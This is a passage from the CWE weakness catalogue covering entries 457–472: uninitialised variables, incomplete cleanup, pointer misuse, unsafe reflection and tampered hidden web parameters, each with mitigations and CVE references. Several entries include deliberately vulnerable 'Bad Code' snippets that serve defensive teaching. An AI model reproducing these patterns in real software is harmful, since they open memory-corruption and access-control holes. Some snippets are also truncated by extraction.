
Mapped Taxonomy Name	Mapped Node Name
PLOVER	Missing Initialization

CWE-457: Use of Uninitialized Variable

Weakness ID: 457 *(Weakness Variant)* **Status:** Draft

Description

Summary

The code uses a variable that has not been initialized, leading to unpredictable or unintended results.

Extended Description

In some languages, such as C, an uninitialized variable contains contents of previously-used memory. An attacker can sometimes control or read these contents.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C *(Sometimes)*
- C++ *(Sometimes)*
- Perl *(Often)*

- All

Common Consequences

Availability

Integrity

Initial variables usually contain junk, which can not be trusted for consistency. This can lead to denial of service conditions, or modify control flow in unexpected ways. In some cases, an attacker can "pre-initialize" the variable using previous actions, which might enable code execution. This can cause a race condition if a lock variable check passes when it should not.

Authorization

Strings that are not initialized are especially dangerous, since many functions expect a null at the end -- and only at the end -- of a string.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

The following switch statement is intended to set the values of the variables aN and bN, but in the default case, the programmer has accidentally set the value of aN twice. As a result, bN will have an undefined value.

Bad Code

```
switch (ctl) {
  case -1:
    aN = 0;
    bN = 0;
    break;
  case 0:
    aN = i;
    bN = -i;
    break;
  case 1:
    aN = i + NEXT_SZ;
    bN = i - NEXT_SZ;
    break;
  default:
    aN = -1;
    aN = -1;
    break;
}
repaint(aN, bN);
```

Most uninitialized variable issues result in general software reliability problems, but if attackers can intentionally trigger the use of an uninitialized variable, they might be able to launch a denial of service attack by crashing the program. Under the right circumstances, an attacker may be able to control the value of an uninitialized variable by affecting the values on the stack prior to the invocation of the function.

Example 2:

C++/Java Example:

```
int foo;
void bar() {
  if (foo==0)
  /.../
  /../
}
```

Observed Examples

Reference	Description
CVE-2007-2728	Uninitialized random seed variable used.
CVE-2007-3468	Crafted audio file triggers crash when an uninitialized variable is used.
CVE-2007-4682	Crafted input triggers dereference of an uninitialized object pointer.
CVE-2008-0081	Uninitialized variable leads to code execution in popular desktop application.

Potential Mitigations

Implementation

Assign all variables to an initial value.

Build and Compilation

Most compilers will complain about the use of uninitialized variables if warnings are turned on.

Requirements

The choice could be made to use a language that is not susceptible to these issues.

Architecture and Design

Mitigating technologies such as safe string libraries and container abstractions could be introduced.

Other Notes

Before variables are initialized, they generally contain junk data of what was left in the memory that the variable takes up. This data is very rarely useful, and it is generally advised to pre-initialize variables or set them to their first values early. If one forgets -- in the C language -- to initialize, for example a char *, many of the simple string libraries may often return incorrect results as they expect the null termination to be at the end of a string.

Stack variables in C and C++ are not initialized by default. Their initial values are determined by whatever happens to be in their location on the stack at the time the function is invoked. Programs should never use the value of an uninitialized variable. It is not uncommon for programmers to use an uninitialized variable in code that handles errors or other rare and exceptional circumstances. Uninitialized variable warnings can sometimes indicate the presence of a typographic error in the code.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	398	Indicator of Poor Code Quality	**700**	423
ChildOf	Weakness	456	Missing Initialization	**699** **1000**	477
MemberOf	View	*630*	*Weaknesses Examined by SAMATE*	***630***	*614*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Uninitialized variable
7 Pernicious Kingdoms	Uninitialized Variable

White Box Definitions

A weakness where the code path has:

1. start statement that defines variable
2. end statement that accesses the variable
3. the code path does not contain a statement that assigns value to the variable

References

mercy. "Exploiting Uninitialized Data". Jan 2006. < http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip >.

Microsoft Security Vulnerability Research & Defense. "MS08-014 : The Case of the Uninitialized Stack Variable Vulnerability". 2008-03-11. < http://blogs.technet.com/swi/archive/2008/03/11/the-case-of-the-uninitialized-stack-variable-vulnerability.aspx >.

CWE-458: DEPRECATED: Incorrect Initialization

Weakness ID: 458 *(Deprecated Weakness Base)* **Status:** Deprecated

Description

Summary

This weakness has been deprecated because its name and description did not match. The description duplicated CWE-454, while the name suggested a more abstract initialization problem. Please refer to CWE-665 for the more abstract problem.

Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	604	Deprecated Entries	**604**	593

CWE-459: Incomplete Cleanup

Weakness ID: 459 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not properly "clean up" and remove temporary or supporting resources after they have been used.

Alternate Terms

Insufficient Cleanup

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

Stream resources in a Java application should be released in a finally block, otherwise an exception thrown before the call to close() would result in an unreleased I/O resource. In the example below, the close() method is called in the try block (incorrect).

Java Example: *Bad Code*

```
try {
  InputStream is = new FileInputStream(path);
  byte b[] = new byte[is.available()];
  is.read(b);
  is.close();
} catch (Throwable t) {
  log.error("Something bad happened: " + t.getMessage());
}
```

Observed Examples

Reference	Description
CVE-2000-0552	World-readable temporary file not deleted after use.
CVE-2002-0788	Interaction error creates a temporary file that can not be deleted due to strong permissions.
CVE-2002-2066	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).
CVE-2002-2067	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).
CVE-2002-2068	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).
CVE-2002-2069	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).
CVE-2002-2070	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).
CVE-2005-1744	Users not logged out when application is restarted after security-relevant changes were made.
CVE-2005-2293	Temporary file not deleted after use, leaking database usernames and passwords.

Potential Mitigations

Temporary files and other supporting resources should be deleted/released immediately after they are no longer needed.

Other Notes

Temporary files should be deleted as soon as possible. If a file contains sensitive information, the longer it exists the better the chance an attacker has to gain access to its contents. Also it is possible to overflow the number of temporary files because directories typically have limits on the number of files allowed, which could create a denial of service problem.

Overlaps other categories. Concept needs further development.

This could be primary (e.g. leading to infoleak) or resultant (e.g. resulting from unhandled error condition or early termination).

Overlaps other categories such as permissions and containment.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	404	Improper Resource Shutdown or Release	**1000**	431
ChildOf	Category	452	Initialization and Cleanup Errors	**699**	474
ChildOf	Category	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720
ParentOf	Weakness	*226*	*Sensitive Information Uncleared Before Release*	***1000***	*252*
ParentOf	Weakness Variant	*460*	*Improper Cleanup on Thrown Exception*	***1000***	*482*

Functional Areas

- File processing

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incomplete Cleanup
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

CWE-460: Improper Cleanup on Thrown Exception

Weakness ID: 460 *(Weakness Variant)* **Status:** Draft

Description

Summary

The product does not sufficiently clean up its state when an exception is thrown, leading to unexpected state or control flow.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++
- Java
- .NET

Common Consequences

Integrity

The code could be left in a bad state.

Likelihood of Exploit

Medium

Demonstrative Examples

C++/Java Example: *Bad Code*

```
public class foo {
  public static final void main( String args[] ) {
    boolean returnValue;
    returnValue=doStuff();
  }
  public static final boolean doStuff( ) {
    boolean threadLock;
    boolean truthvalue=true;
    try {
      while(
      //check some condition
      ) {
        threadLock=true; //do some stuff to truthvalue
        threadLock=false;
      }
    }
```

```
    catch (Exception e){
      System.err.println("You did something bad");
      if (something) return truthvalue;
    }
    return truthvalue;
  }
}
```

In this case, you may leave a thread locked accidentally.

Potential Mitigations

Implementation

If one breaks from a loop or function by throwing an exception, make sure that cleanup happens or that you should exit the program. Use throwing exceptions sparsely.

Other Notes

Often, when functions or loops become complicated, some level of cleanup in the beginning to the end is needed. Often, since exceptions can disturb the flow of the code, one can leave a code block in a bad state.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		452	Initialization and Cleanup Errors	**699**	474
ChildOf		459	Incomplete Cleanup	**1000**	481
ChildOf		755	Improper Handling of Exceptional Conditions	1000	734

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Improper cleanup on thrown exception

CWE-461: Data Structure Issues

Category ID: 461 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper handling of specific data structures.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		19	Data Handling	**699**	14
ParentOf		*462*	*Duplicate Key in Associative List (Alist)*	***699***	*483*
ParentOf		*463*	*Deletion of Data Structure Sentinel*	***699***	*484*
ParentOf		*464*	*Addition of Data Structure Sentinel*	***699***	*485*

CWE-462: Duplicate Key in Associative List (Alist)

Weakness ID: 462 *(Weakness Base)* **Status:** Incomplete

Description

Summary

Duplicate keys in associative lists can lead to non-unique keys being mistaken for an error.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++
- Java
- .NET

Likelihood of Exploit

Low

Potential Mitigations

Architecture and Design

Use a hash table instead of an alist.

Architecture and Design

Use an alist which checks the uniqueness of hash keys with each entry before inserting the entry.

Other Notes

A duplicate key entry -- if the alist is designed properly -- could be used as a constant time replace function. However, duplicate key entries could be inserted by mistake. Because of this ambiguity, duplicate key entries in an association list are not recommended and should not be allowed.

In Python: alist = [] while (foo()): #now assume there is a string data with a key basename queue.append(basename,data) queue.sort() Since basename is not necessarily unique, this may not sort how one would like it to be.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	461	Data Structure Issues	**699**	483
ChildOf	Weakness	694	Use of Multiple Resources with Duplicate Identifier	**1000**	685
ChildOf	C	744	CERT C Secure Coding Section 10 - Environment (ENV)	**734**	729

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Duplicate key in associative list (alist)
CERT C Secure Coding	ENV02-C	Beware of multiple environment variables with the same effective name

CWE-463: Deletion of Data Structure Sentinel

Weakness ID: 463 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The accidental deletion of a data-structure sentinel can cause serious programming logic problems.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Availability

Generally this error will cause the data structure to not work properly.

Authorization

If a control character, such as NULL is removed, one may cause resource access control problems.

Demonstrative Examples

C/C++ Example:

```
char *foo;
int counter;
foo=malloc(sizeof(char)*10);
for (counter=0;counter!=14;counter++) {
  foo[counter]='a';
  printf("%s\n",foo);
}
```

Potential Mitigations

Pre-design: Use a language or compiler that performs automatic bounds checking.

Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Pre-design through Build: Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.

Operational: Use OS-level preventative functionality. Not a complete solution.

Other Notes

Often times data-structure sentinels are used to mark structure of the data structure. A common example of this is the null character at the end of strings. Another common example is linked lists which may contain a sentinel to mark the end of the list. It is, of course dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the deletion or modification outside of some wrapper interface which provides safety.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		461	Data Structure Issues	**699**	483
PeerOf		464	Addition of Data Structure Sentinel	1000	485
ChildOf		707	Improper Enforcement of Message or Data Structure	**1000**	709
PeerOf		*170*	*Improper Null Termination*	*1000*	*196*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Deletion of data-structure sentinel

CWE-464: Addition of Data Structure Sentinel

Weakness ID: 464 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The accidental addition of a data-structure sentinel can cause serious programming logic problems.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Availability

Generally this error will cause the data structure to not work properly by truncating the data.

Likelihood of Exploit

High to Very High

Demonstrative Examples

C/C++ Example: *Bad Code*

```
char *foo;
foo=malloc(sizeof(char)*4);
foo[0]='a';
foo[1]='a';
foo[2]=0;
foo[3]='c';
printf("%c %c %c %c %c \n",foo[0],foo[1],foo[2],foo[3]);
printf("%s\n",foo);
```

Potential Mitigations

Pre-design: Use a language or compiler that performs automatic bounds checking.

Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Pre-design through Build: Compiler-based canary mechanisms such as StackGuard, ProPolice, and Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.

Operational: Use OS-level preventative functionality. Not a complete solution.

Other Notes

Data-structure sentinels are often used to mark structure of the data structure. A common example of this is the null character at the end of strings. Another common example is linked lists which may contain a sentinel to mark the end of the list. It is, of course dangerous, to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification outside of some wrapper interface which provides safety. By adding a sentinel, one potentially could cause data to be truncated early.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	138	Improper Sanitization of Special Elements	**1000**	169
ChildOf	C	461	Data Structure Issues	**699**	483
ChildOf	Wc	707	Improper Enforcement of Message or Data Structure	1000	709
ChildOf	C	741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	**734**	727
PeerOf	We	*170*	*Improper Null Termination*	*1000*	*196*
PeerOf	We	*463*	*Deletion of Data Structure Sentinel*	*1000*	*484*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Addition of data-structure sentinel
CERT C Secure Coding	STR03-C	Do not inadvertently truncate a null-terminated byte string
CERT C Secure Coding	STR06-C	Do not assume that strtok() leaves the parse string unchanged

CWE-465: Pointer Issues

Category ID: 465 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper handling of pointers.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	18	Source Code	**699**	13
ParentOf	We	*466*	*Return of Pointer Value Outside of Expected Range*	***699***	*486*
ParentOf	Wv	*467*	*Use of sizeof() on a Pointer Type*	***699***	*487*
ParentOf	We	*468*	*Incorrect Pointer Scaling*	***699***	*488*
ParentOf	We	*469*	*Use of Pointer Subtraction to Determine Size*	***699***	*489*
ParentOf	We	*587*	*Assignment of a Fixed Address to a Pointer*	***699***	*578*
ParentOf	Wv	*588*	*Attempt to Access Child of a Non-structure Pointer*	***699***	*579*

CWE-466: Return of Pointer Value Outside of Expected Range

Weakness ID: 466 *(Weakness Base)* **Status:** Draft

Description

Summary

A function can return a pointer to memory that is outside of the buffer that the pointer is expected to reference.

Time of Introduction

- Architecture and Design

- Implementation

Applicable Platforms

Languages

- C
- C++

Potential Mitigations

Perform a value check on the returned pointer (e.g. value whithin expected range)

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	20	Improper Input Validation	**700**	14
ChildOf	WE	119	Failure to Constrain Operations within the Bounds of a Memory Buffer	**1000**	144
ChildOf	C	465	Pointer Issues	**699**	486
ChildOf	C	738	CERT C Secure Coding Section 04 - Integers (INT)	**734**	726

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Illegal Pointer Value
CERT C Secure Coding	INT11-C	Take care when converting from pointer to integer or integer to pointer

White Box Definitions

A weakness where code path has:

1. end statement that returns an address associated with a buffer where address is outside the buffer
2. start statement that computes a position into the buffer

CWE-467: Use of sizeof() on a Pointer Type

Weakness ID: 467 *(Weakness Variant)* **Status:** Draft

Description

Summary

The code calls sizeof() on a malloced pointer type, which always returns the wordsize/8. This can produce an unexpected result if the programmer intended to determine how much memory has been allocated.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Integrity

This error can often cause one to allocate a buffer that is much smaller than what is needed, leading to resultant weaknesses such as buffer overflows.

Likelihood of Exploit

High

Demonstrative Examples

Care should be taken to ensure sizeof returns the size of the data structure itself, and not the size of the pointer to the data structure.

In this example, sizeof(foo) returns the size of the pointer.

C/C++ Example: *Bad Code*

```
double *foo;
...
foo = (double *)malloc(sizeof(foo));
```

In this example, sizeof(*foo) returns the size of the data structure and not the size of the pointer.

C/C++ Example: *Good Code*

```
double *foo;
...
foo = (double *)malloc(sizeof(*foo));
```

Potential Mitigations

Implementation

use expressions such as "sizeof(*pointer)" instead of "sizeof(pointer)", unless you intend to run sizeof() on a pointer type to gain some platform independence or if you are allocating a variable on the stack.

Other Notes

The use of sizeof() on a pointer can sometimes generate useful information. An obvious case is to find out the wordsize on a platform. More often than not, the appearance of sizeof(pointer) indicates a bug.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	465	Pointer Issues	**699**	486
ChildOf	Wc	682	Incorrect Calculation	**1000**	673
ChildOf	C	737	CERT C Secure Coding Section 03 - Expressions (EXP)	**734**	725
ChildOf	C	740	CERT C Secure Coding Section 06 - Arrays (ARR)	734	726

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Use of sizeof() on a pointer type
CERT C Secure Coding	ARR01-C	Do not apply the sizeof operator to a pointer when taking the size of an array
CERT C Secure Coding	EXP01-C	Do not take the size of a pointer to determine the size of the pointed-to type

White Box Definitions

A weakness where code path has:

1. end statement that passes an identity of a dynamically allocated memory resource to a sizeof operator
2. start statement that allocates the dynamically allocated memory resource

References

Robert Seacord. "EXP01-A. Do not take the sizeof a pointer to determine the size of a type". < https://www.securecoding.cert.org/confluence/display/seccode/EXP01-A.+Do+not+take+the+sizeof+a+pointer+to+determine+the+size+of+a+type >.

CWE-468: Incorrect Pointer Scaling

Weakness ID: 468 *(Weakness Base)* **Status:** Incomplete

Description

Summary

In C and C++, one may often accidentally refer to the wrong memory due to the semantics of when math operations are implicitly scaled.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Often results in buffer overflow conditions.

Likelihood of Exploit

Medium

Demonstrative Examples

Bad Code

```
int *p = x;
char * second_char = (char *)(p + 1);
```

In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

Potential Mitigations

Architecture and Design

Use a platform with high-level memory abstractions.

Implementation

Always use array indexing instead of direct pointer manipulation.

Other: Use technologies for preventing buffer overflows.

Other Notes

Programmers will often try to index from a pointer by adding a number of bytes, even though this is wrong, since C and C++ implicitly scale the operand by the size of the data type.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	465	Pointer Issues	**699**	486
ChildOf	Wc	682	Incorrect Calculation	**1000**	673
ChildOf	C	737	CERT C Secure Coding Section 03 - Expressions (EXP)	**734**	725
MemberOf	V	*630*	*Weaknesses Examined by SAMATE*	***630***	*614*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Unintentional pointer scaling
CERT C Secure Coding	EXP08-C	Ensure pointer arithmetic is used correctly

White Box Definitions

A weakness where code path has a statement that accesses a data element by dereferencing an expression that adds a literal to a pointer and casts the result of dereferencing to a type that is not equal to the type of the base element of the pointer

CWE-469: Use of Pointer Subtraction to Determine Size

Weakness ID: 469 *(Weakness Base)* **Status:** Draft

Description

Summary

The application subtracts one pointer from another in order to determine size, but this calculation can be incorrect if the pointers do not exist in the same memory chunk.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Authorization

There is the potential for arbitrary code execution with privileges of the vulnerable program.

Likelihood of Exploit

Medium

Potential Mitigations

Pre-design through Build: Most static analysis programs should be able to catch these errors.

Implementation

Save an index variable. This is the recommended solution. Rather than subtract pointers from one another, use an index variable of the same size as the pointers in question. Use this variable to "walk" from one pointer to the other and calculate the difference. Always sanity check this number.

Other Notes

These types of bugs generally are the result of a typo. Although most of them can easily be found when testing of the program, it is important that one correct these problems, since they almost certainly will break the code.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		465	Pointer Issues	**699**	486
ChildOf		682	Incorrect Calculation	**1000**	673
ChildOf		740	CERT C Secure Coding Section 06 - Arrays (ARR)	**734**	726

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Improper pointer subtraction
CERT C Secure Coding	ARR36-C	Do not subtract or compare two pointers that do not refer to the same array
CERT C Secure Coding	ARR37-C	Do not add or subtract an integer to a pointer to a non-array object

White Box Definitions

A weakness where code path has:

1. end statement that subtracts pointer1 from pointer2
2. start statement that associates pointer1 with a memory chunk1 and pointer2 to a memory chunk2
3. memory chunk1 is not equal to the memory chunk2

CWE-470: Use of Externally-Controlled Input to Select Classes or Code (aka 'Unsafe Reflection')

Weakness ID: 470 *(Weakness Base)* **Status:** Draft

Description

Summary

The application uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.

Extended Description

If the application uses external inputs to determine which class to instantiate or which method to invoke, then an attacker could supply values to select unexpected classes or methods. If this occurs, then the attacker could create control flow paths that were not intended by the developer. These paths could bypass authentication or access control checks, or otherwise cause the application to behave in an unexpected manner. This situation becomes a doomsday scenario if the attacker can upload files into a location that appears on the application's classpath (CWE-427) or add new entries to the application's classpath (CWE-426). Under either of these conditions, the attacker can use reflection to introduce new, malicious behavior into the application.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java
- PHP
- Interpreted languages *(Sometimes)*

Common Consequences

Integrity

The attacker might be able to execute code that is not directly accessible to the attacker. Alternately, the attacker could call unexpected code in the wrong place or the wrong time, possibly modifying critical system state.

Availability

The attacker might be able to use reflection to call the wrong code, possibly with unexpected arguments that violate the API (CWE-227). This could cause the application to exit or hang.

Confidentiality

By causing the wrong code to be invoked, the attacker might be able to trigger a runtime error that leaks sensitive information in the error message, such as CWE-536.

Demonstrative Examples

A common reason that programmers use the reflection API is to implement their own command dispatcher. The following example shows a command dispatcher that does not use reflection:

Good Code

```
String ctl = request.getParameter("ctl");
Worker ao = null;
if (ctl.equals("Add")) {
  ao = new AddCommand();
}
else if (ctl.equals("Modify")) {
  ao = new ModifyCommand();
}
else {
  throw new UnknownActionError();
}
ao.doAction(request);
```

A programmer might refactor this code to use reflection as follows:

Bad Code

```
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.doAction(request);
```

The refactoring initially appears to offer a number of advantages. There are fewer lines of code, the if/else blocks have been entirely eliminated, and it is now possible to add new command types without modifying the command dispatcher. However, the refactoring allows an attacker to instantiate any object that implements the Worker interface. If the command dispatcher is still responsible for access control, then whenever programmers create a new class that implements the Worker interface, they must remember to modify the dispatcher's access control code. If they fail to modify the access control code, then some Worker classes will not have any access control.

One way to address this access control problem is to make the Worker object responsible for performing the access control check. An example of the re-refactored code follows:

Java Example:

```
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.checkAccessControl(request);
ao.doAction(request);
```

Although this is an improvement, it encourages a decentralized approach to access control, which makes it easier for programmers to make access control mistakes. This code also highlights another security problem with using reflection to build a command dispatcher. An attacker can invoke the default constructor for any kind of object. In fact, the attacker is not even constrained to objects that implement the Worker interface; the default constructor for any object in the system can be invoked. If the object does not implement the Worker interface, a ClassCastException will be thrown before the assignment to ao, but if the constructor performs operations that work in the attacker's favor, the damage will already have been done. Although this scenario is relatively benign in simple applications, in larger applications where complexity grows exponentially it is not unreasonable that an attacker could find a constructor to leverage as part of an attack.

Observed Examples

Reference	Description
CVE-2004-2331	Database system allows attackers to bypass sandbox restrictions by using the Reflection APi.

Potential Mitigations

Architecture and Design

Refactor your code to avoid using reflection.

Architecture and Design

Do not use user-controlled inputs to select and load classes or code.

Implementation

Apply strict input validation by using whitelists or indirect selection to ensure that the user is only selecting allowable classes or code.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	20	Improper Input Validation	**699** **700**	14
ChildOf	WE	398	Indicator of Poor Code Quality	1000	423
ChildOf	WE	610	Externally Controlled Reference to a Resource in Another Sphere	**1000**	597

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Unsafe Reflection

White Box Definitions

A weakness where code path has:

1. start statement that accepts input
2. end statement that performs reflective operation and where the input is part of the target name of the reflective operation

CWE-471: Modification of Assumed-Immutable Data (MAID)

Weakness ID: 471 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not properly protect an assumed-immutable element from being modified by an attacker.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

In the code excerpt below, an array returned by a Java method is modified despite the fact that arrays are mutable.

Java Example: *Bad Code*

```
String[] colors = car.getAllPossibleColors();
colors[0] = "Red";
```

Observed Examples

Reference	Description
CVE-2002-1757	Relies on $PHP_SELF variable for authentication.
CVE-2005-1905	Gain privileges by modifying assumed-immutable code addresses that are accessed by a driver.

Potential Mitigations

Implement proper protection for immutable data (e.g. environment variable, hidden form fields, etc.)

Other Notes

Factors: MAID issues can be primary to many other weaknesses, and they are a major factor in languages such as PHP.

This happens when a particular input is critical enough to the functioning of the application that it should not be modifiable at all, but it is. A common programmer assumption is that certain variables are immutable; especially consider hidden form fields in web applications. So there are many examples where the MUTABILITY property is a major factor in a vuln.

Common data types that are attacked are environment variables, web application parameters, and HTTP headers.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	19	Data Handling	**699**	14
ChildOf	Wc	664	Improper Control of a Resource Through its Lifetime	**1000**	652
RequiredBy		*291*	*Trusting Self-reported IP Address*	*1000*	*316*
CanFollow	We	*425*	*Direct Request ('Forced Browsing')*	*1000*	*451*
RequiredBy		*426*	*Untrusted Search Path*	*1000*	*453*
ParentOf	We	*472*	*External Control of Assumed-Immutable Web Parameter*	***699*** *1000*	*493*
ParentOf	Wv	*473*	*PHP External Variable Modification*	***699*** ***1000***	*495*
CanFollow	We	*602*	*Client-Side Enforcement of Server-Side Security*	*1000*	*590*
ParentOf	Wv	*607*	*Public Static Final Field References Mutable Object*	*699* ***1000***	*595*
PeerOf	We	*621*	*Variable Extraction Error*	*1000*	*606*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Modification of Assumed-Immutable Data

CWE-472: External Control of Assumed-Immutable Web Parameter

Weakness ID: 472 *(Weakness Base)* **Status:** Draft

Description

Summary

The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.

Extended Description

If a web product does not properly protect assumed-immutable values from modification in hidden form fields, parameters, cookies, or URLs, this can lead to modification of critical data. Web applications often mistakenly make the assumption that data passed to the client in hidden fields or cookies is not susceptible to tampering. Failure to validate portions of data that are user-controllable can lead to the application processing incorrect, and often malicious, input.

Alternate Terms

Assumed-Immutable Parameter Tampering

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

Here, a web application uses the value of a hidden form field (accountID) without having done any input validation because it was assumed to be immutable.

Java Example: *Bad Code*

```
String accountID = request.getParameter("accountID");
User user = getUserFromID(Long.parseLong(accountID));
```

Observed Examples

Reference	Description
CVE-2000-0101	Shopping cart allows price modification via hidden form field.
CVE-2000-0102	Shopping cart allows price modification via hidden form field.
CVE-2000-0253	Shopping cart allows price modification via hidden form field.
CVE-2000-0254	Shopping cart allows price modification via hidden form field.
CVE-2000-0758	Allows admin access by modifying value of form field.
CVE-2000-0926	Shopping cart allows price modification via hidden form field.
CVE-2000-1234	Send email to arbitrary users by modifying email parameter.
CVE-2002-0108	Forum product allows spoofed messages of other users via hidden form fields for name and e-mail address.
CVE-2002-1880	Read messages by modifying message ID parameter.
CVE-2005-1652	Authentication bypass by setting a parameter.
CVE-2005-1682	Modification of message number parameter allows attackers to read other people's messages.
CVE-2005-1784	Product does not check authorization for configuration change admin script, leading to password theft via modified e-mail address field.
CVE-2005-2314	Logic error leads to password disclosure.

Potential Mitigations

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong input/output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Other Notes

This is a primary weakness for many other weaknesses and functional consequences, including XSS, SQL injection, path disclosure, and file inclusion. For example, custom cookies commonly store session data or persistent data across sessions. This kind of session data is normally involved in security related decisions on the server side, such as user authentication and access control. Thus, the cookies might contain sensitive data such as user credentials and privileges. This is a dangerous practice, as it can often lead to improper reliance on the value of the client-provided cookie by the server side application. Without appropriate protection mechanisms, the client can easily tamper with cookies. Reliance on the cookies without detailed validation can lead to problems such as SQL injection. If you use cookie values for security related decisions on the server side, manipulating the cookies might lead to violations of security policies such as

authentication bypassing, user impersonation and privilege escalation. In addition, storing sensitive data in the cookie without appropriate protection can also lead to disclosure of sensitive user data, especially data stored in persistent cookies.

Hidden fields should not be trusted as secure parameters. An attacker can intercept and alter hidden fields in a post to the server as easily as user input fields. An attacker can simply parse the HTML for the substring < input type "hidden" or even just "hidden". Hidden field values displayed later in the session, such as on the following page, can open a site up to cross-site scripting attacks.

This is a technology-specific MAID problem.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	471	Modification of Assumed-Immutable Data (MAID)	**699** 1000	492
ChildOf	WC	642	External Control of Critical State Data	**1000**	625
ChildOf	C	715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference	**629**	713
ChildOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	**711**	716
RequiredBy		*384*	*Session Fixation*	*1000*	*408*
CanFollow	WE	*656*	*Reliance on Security through Obscurity*	*1000*	*643*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Web Parameter Tampering
OWASP Top Ten 2007	A4	CWE More Specific	Insecure Direct Object Reference
